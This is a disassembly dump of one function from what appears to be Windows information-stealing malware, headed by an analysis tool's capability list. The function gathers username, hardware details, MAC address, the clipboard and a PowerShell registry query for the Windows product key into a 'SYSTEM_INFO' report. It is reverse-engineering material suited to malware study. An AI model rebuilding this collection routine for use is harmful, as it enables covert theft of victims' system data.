Function at 0x456610
Capabilities:
Check for sandbox username or hostname
Get disk size
Get local ipv4 addresses
Get mac address on windows
Get memory capacity
Get session user name
Get system information on windows
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6ddccb
mov eax, dword fs:[0]
push eax
sub esp, 0x504
mov eax, dword [0x790f00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4f8], ecx
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x4f0], ecx
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4dc], 0
call fcn.00453b00
lea eax, [ebp - 0x290]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x290], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x288]
mov eax, dword [ebp - 0x284]
add esi, 0x20000000
push 0xb0
adc eax, 0
shrd esi, eax, 0x1e
lea eax, [ebp - 0xc0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 8
lea ecx, [ebp - 0xc0]
call fcn.00484620
push esi
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 2
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int_]
mov edx, 0x7747e8
mov ecx, eax
call fcn.0048c920
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00488630
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x4f4], 6
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xa8]
call fcn.00484570
lea ecx, [ebp - 0xa0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x238]
push eax
push 0x7747e0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x458e6c
mov edx, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x4e0]
call fcn.006dbcc0
mulsd xmm0, qword [0x77dd60]
lea ecx, [ebp - 0x230]
movaps xmm1, xmm0
call fcn.0044c890
mov byte [ebp - 4], 4
mov eax, bind
mov ecx, dword [ebp - 0x220]
sub eax, ecx
cmp eax, 3
jb 0x458eac
cmp dword [ebp - 0x21c], 7
lea eax, [ebp - 0x230]
push 3
cmova eax, dword [ebp - 0x230]
push 0x7747e8
push ecx
push eax
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x3f8]
call fcn.00493f50
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x4f4], 0x2e
cmp ecx, 7
jbe 0x456839
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45682f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45682f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
lea eax, [ebp - 0x274]
mov byte [ebp - 4], 6
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [ebp - 0x274]
cmp ax, 9
je 0x456883
cmp ax, 6
je 0x456883
push 6
push str.32_bit
jmp 0x45688a
push 6
push str.64_bit
xorps xmm0, xmm0
mov dword [ebp - 0x2c8], 0
lea ecx, [ebp - 0x2d8]
mov dword [ebp - 0x2c4], 0
movups xmmword [ebp - 0x2d8], xmm0
call fcn.0048f810
mov dword [ebp - 0x4f4], 0x6e
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 0x234], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
mov dword [ebp - 0x3d0], 0
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x3cc], 0
movups xmmword [ebp - 0x3e0], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x456906
sub ecx, edx
lea eax, [ebp - 0x214]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0048f810
mov dword [ebp - 0x4f4], 0xee
lea eax, [ebp - 0x4e8]
mov byte [ebp - 4], 9
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [ebp - 0x4e2]
push eax
movzx eax, word [ebp - 0x4e6]
push eax
movzx eax, word [ebp - 0x4e8]
push eax
lea eax, [ebp - 0x230]
push str._04d__02d__02d
push eax
call fcn.0048cef0
xorps xmm0, xmm0
mov dword [ebp - 0x3b8], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x3b4], 0
add esp, 0x14
lea edx, [ecx + 2]
movups xmmword [ebp - 0x3c8], xmm0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x456996
sub ecx, edx
lea eax, [ebp - 0x230]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0048f810
mov dword [ebp - 0x4f4], 0x1ee
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 0xa
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x98
lea eax, [ebp - 0x4d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 8
lea ecx, [ebp - 0x4d8]
call fcn.00483e70
push 0
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0xb
mov edi, dword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
push 2
push eax
call edi
lea edx, [ebp - 0x4d8]
push dword [eax + 0xc]
mov ecx, dword [eax]
push dword [eax + 8]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [eax + 4]
add eax, edx
push eax
call ecx
mov eax, dword [ebp - 0x4d8]
mov ecx, 0x30
xor edx, edx
add esp, 0x18
mov eax, dword [eax + 4]
mov word [ebp + eax - 0x498], cx
mov ecx, 0xc
movzx eax, word [ebp - 0x298]
div ecx
test edx, edx
cmove edx, ecx
lea ecx, [ebp - 0x4d8]
push edx
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
mov edx, 0x774618
mov ecx, eax
call fcn.0048c920
push 0
mov esi, eax
lea eax, [ebp - 0x240]
push 2
push eax
call edi
push dword [eax + 0xc]
mov ecx, dword [eax]
push dword [eax + 8]
mov eax, dword [esi]
mov eax, dword [eax + 4]
add eax, esi
push eax
call ecx
mov eax, dword [esi]
add esp, 0x18
mov ecx, 0x30
mov eax, dword [eax + 4]
mov word [eax + esi + 0x40], cx
mov ecx, esi
push dword [ebp - 0x296]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_short_int_]
mov edx, 0x774618
mov ecx, eax
call fcn.0048c920
mov edi, eax
push 0
lea eax, [ebp - 0x228]
push 2
push eax
call dword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
push dword [eax + 0xc]
mov ecx, dword [eax]
push dword [eax + 8]
mov eax, dword [edi]
mov eax, dword [eax + 4]
add eax, edi
push eax
call ecx
mov eax, dword [edi]
add esp, 0x18
mov ecx, 0x30
mov esi, 0x774d18
mov eax, dword [eax + 4]
mov word [eax + edi + 0x40], cx
mov eax, 0x774d20
cmp word [ebp - 0x298], 0xc
mov ecx, edi
push dword [ebp - 0x294]
cmovb esi, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_short_int_]
mov edx, esi
mov ecx, eax
call fcn.0048c920
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00488630
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x4f4], 0x7ee
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.virtual_0], vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x4dc], eax
lea ecx, [ebp - 0x4d4]
call fcn.00484570
lea ecx, [ebp - 0x4d0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea ecx, [ebp - 0x488]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
mov byte [ebp - 4], 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x4e8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0x98
lea eax, [ebp - 0xa8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 8
lea ecx, [ebp - 0xa8]
call fcn.00483e70
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x4e0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov edx, 0x774d28
mov ecx, eax
call fcn.0048c920
push dword [ebp - 0x4dc]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebp - 0xa4]
call fcn.00488630
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x4f4], 0x1fee
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0xac], eax
lea ecx, [ebp - 0xa4]
call fcn.00484570
lea ecx, [ebp - 0xa0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x230]
push 0x94
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
push str.powershell_Get_ItemPropertyValue__Path_HKLM:SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform__Name_BackupProductKeyDefault
movups xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x21c], 0
call fcn.0048f810
mov byte [ebp - 4], 0xf
lea edx, [ebp - 0x230]
cmp dword [ebp - 0x21c], 7
lea ecx, [ebp - 0x2a8]
cmova edx, dword [ebp - 0x230]
call fcn.00451650
lea eax, [ebp - 0x2a8]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x380]
call fcn.004868a0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x4f4], 0x3fee
cmp ecx, 7
jbe 0x456d0a
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456d00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456d5d
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 7
jbe 0x456d6d
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456d63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x456d63
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 0x11
call fcn.00454750
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x12
call fcn.00453e40
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x13
call fcn.004541b0
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0x14
call fcn.00453200
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x15
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wgetcwd]
xorps xmm0, xmm0
mov dword [ebp - 0x2f8], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x2f4], 0
add esp, 8
lea edx, [ecx + 2]
movups xmmword [ebp - 0x308], xmm0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x456e06
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x308]
call fcn.0048f810
mov dword [ebp - 0x4f4], 0x7fee
lea eax, [ebp - 0x4ec]
mov byte [ebp - 4], 0x16
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
xor esi, esi
push eax
push esi
push esi
push 0x10
push esi
mov dword [ebp - 0x4ec], 0
call edi
cmp eax, 0x6f
jne 0x456e7b
push dword [ebp - 0x4ec]
call fcn.006db604
add esp, 4
mov esi, eax
lea eax, [ebp - 0x4ec]
push eax
push esi
push 0
push 0x10
push 0
call edi
mov ecx, esi
test esi, esi
je 0x456ea3
cmp dword [ecx + 0x40], 6
jne 0x456e9c
mov eax, dword [ecx + 0x44]
cmp eax, 1
je 0x456fc4
cmp eax, 5
je 0x456fc4
mov ecx, dword [ecx + 8]
test ecx, ecx
jne 0x456e81
push esi
call fcn.006daf7e
add esp, 4
mov dword [ebp - 0x2b0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2ac], 7
xor eax, eax
movups xmmword [ebp - 0x2c0], xmm0
mov word [ebp - 0x2c0], ax
mov dword [ebp - 0x4f4], 0xffee
sub esp, 8
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x248]
call fcn.0044c3b0
push eax
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 0x18
push eax
call dword [sym.imp.MSVCP140.dll_public:_static_class_std::locale___cdecl_std::locale::global_class_std::locale_const__]
mov ecx, dword [ebp - 0x4dc]
add esp, 8
test ecx, ecx
je 0x456f21
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
mov ecx, eax
test ecx, ecx
je 0x456f21
mov eax, dword [ecx]
push 1
call dword [eax]
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x244]
test ecx, ecx
je 0x456f42
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
mov ecx, eax
test ecx, ecx
je 0x456f42
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x2f0]
call fcn.00452680
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x2a8]
movss xmm1, dword [0x77dd78]
call fcn.0044c910
push eax
mov edx, str.https:__dreamyoak.xyz_n_______________________________________________________________________________n______________________________________________________________________n_______________________________________________________n____________________________________________________n_______________________________________.____.____________n____________________________________________________________________________n__BY:_DreamyOak__________________________________________________________n______TimmyWag__n__Version:
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x410]
call fcn.0048c600
add esp, 4
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x294]
cmp ecx, 7
jbe 0x457054
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45704a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45704a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
movzx eax, byte [ecx + 0x31]
push eax
movzx eax, byte [ecx + 0x30]
push eax
movzx eax, byte [ecx + 0x2f]
push eax
movzx eax, byte [ecx + 0x2e]
push eax
movzx eax, byte [ecx + 0x2d]
push eax
movzx eax, byte [ecx + 0x2c]
push eax
lea eax, [ebp - 0x274]
push str._02X__02X__02X__02X__02X__02X
push eax
call fcn.0048ced0
push esi
call fcn.006daf7e
xorps xmm0, xmm0
mov dword [ebp - 0x2b0], 0
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x2ac], 0
add esp, 0x24
lea edx, [ecx + 2]
movups xmmword [ebp - 0x2c0], xmm0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x457023
sub ecx, edx
lea eax, [ebp - 0x274]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2c0]
call fcn.0048f810
jmp 0x456ed3
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x400]
xor eax, eax
mov word [ebp - 0x2a8], ax
mov edi, bind
mov eax, edi
mov dword [ebp - 0x298], 0
sub eax, ecx
mov dword [ebp - 0x294], 7
cmp eax, 2
jb 0x458eac
cmp dword [ebp - 0x3fc], 7
lea eax, [ebp - 0x410]
mov esi, dword [ebp - 0x4f8]
cmova eax, dword [ebp - 0x410]
push 2
push 0x775664
push ecx
push eax
push ecx
push dword [ebp - 0x4f0]
mov ecx, esi
call fcn.00493f50
push str.SYSTEM_INFO_n
mov ecx, esi
mov dword [ebp - 0x4f4], 0x4ffef
call fcn.00488eb0
mov ecx, dword [ebp - 0x430]
mov eax, edi
sub eax, ecx
cmp eax, 6
jb 0x458eac
cmp dword [ebp - 0x42c], 7
lea eax, [ebp - 0x440]
push ecx
cmova eax, dword [ebp - 0x440]
push eax
push 6
push str.HWID:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x230]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0xcffef
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x230]
cmp dword [ebp - 0x21c], 7
mov edx, dword [esi + 0x10]
cmova ecx, dword [ebp - 0x230]
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x234], edx
mov edx, dword [ebp - 0x220]
mov dword [ebp - 0x244], ecx
cmp edx, eax
ja 0x4571a4
cmp dword [esi + 0x14], 7
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x4ec], esi
lea eax, [ecx + edx]
mov dword [ebp - 0x234], eax
mov dword [esi + 0x10], eax
mov eax, esi
jbe 0x45717a
mov eax, dword [esi]
mov dword [ebp - 0x4ec], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x244]
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x4ec]
add esp, 0xc
mov ecx, dword [ebp - 0x234]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x4571b4
push edx
push ecx
push dword [ebp - 0x4f0]
mov ecx, esi
push edx
call fcn.0048f560
mov ecx, dword [ebp - 0x230]
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x21c]
cmp eax, 7
jbe 0x4571f8
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4571ee
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push edx
push ecx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x418]
mov eax, edi
sub eax, ecx
cmp eax, 5
jb 0x458eb1
cmp dword [ebp - 0x414], 7
lea eax, [ebp - 0x428]
push ecx
cmova eax, dword [ebp - 0x428]
push eax
push 5
push str.RAM:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x1cffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1f
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x244], ecx
jbe 0x457278
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x4ec], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x4ec]
cmp ecx, eax
ja 0x4572e5
mov eax, dword [ebp - 0x4ec]
add eax, ecx
mov dword [ebp - 0x234], esi
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x4dc], eax
mov dword [esi + 0x10], eax
mov eax, esi
jbe 0x4572b5
mov eax, dword [esi]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0x4ec]
lea ecx, [eax + ecx*2]
mov eax, dword [ebp - 0x244]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x4dc]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x4572f5
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x457335
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45732b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457388
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457398
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45738e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45738e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x3e8]
mov eax, edi
sub eax, ecx
cmp eax, 6
jb 0x458eb6
cmp dword [ebp - 0x3e4], 7
lea eax, [ebp - 0x3f8]
push ecx
cmova eax, dword [ebp - 0x3f8]
push eax
push 6
push str.Disk:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x3cffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x21
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x457418
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x45747f
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x457455
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x45748f
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x4574cf
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4574c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457522
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457532
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457528
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457528
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x2c8]
mov eax, edi
sub eax, ecx
cmp eax, 0xe
jb 0x458ebb
cmp dword [ebp - 0x2c4], 7
lea eax, [ebp - 0x2d8]
push ecx
cmova eax, dword [ebp - 0x2d8]
push eax
push 0xe
push str.Architecture:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x7cffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x23
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x4575b2
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x457619
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x4575ef
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x457629
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x457669
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45765f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4576bc
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x4576cc
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4576c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4576c2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x3d0]
mov eax, edi
sub eax, ecx
cmp eax, 0xd
jb 0x458ec0
cmp dword [ebp - 0x3cc], 7
lea eax, [ebp - 0x3e0]
push ecx
cmova eax, dword [ebp - 0x3e0]
push eax
push 0xd
push str.PC_username:
push ecx
